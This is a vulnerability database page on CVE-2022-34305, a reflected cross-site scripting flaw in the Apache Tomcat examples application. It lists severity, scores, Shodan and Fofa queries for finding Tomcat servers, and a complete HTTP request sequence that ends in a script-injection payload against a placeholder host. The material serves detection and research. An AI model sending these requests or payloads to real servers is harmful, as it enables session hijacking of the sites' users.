🔙 목록으로 돌아가기

CVE-2022-34305: Apache Tomcat Examples Web Application - Cross-Site Scripting

TitleApache Tomcat Examples Web Application - Cross-Site Scripting
AuthorSourabh-Sahu
SeverityMedium
ImpactAttackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
RemediationUpdate to the latest version of Apache Tomcat where this issue is fixed.
CVSS Score6.1
EPSS Score0.21613
CVE IDCVE-2022-34305
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:apache:tomcat"http.component:"apache tomcat"
Fofa Querybody="apache tomcat"
Tags cve cve2022 xss apache tomcat authenticated vkev

🔍 Vulnerability Description

Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacker to craft malicious input.

🌐 HTTP Request

GET /examples/jsp/security/protected/index.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip
POST /examples/jsp/security/protected/j_security_check;jsessionid=KXi5Rp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

j_username=tGMJUw&j_password=cjNNjT
GET /examples/jsp/security/protected/index.jsp?dataName=%3Cscript%3Ealert(document.domain)%3C/script%3E&dataValue=demo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34305.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34305.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A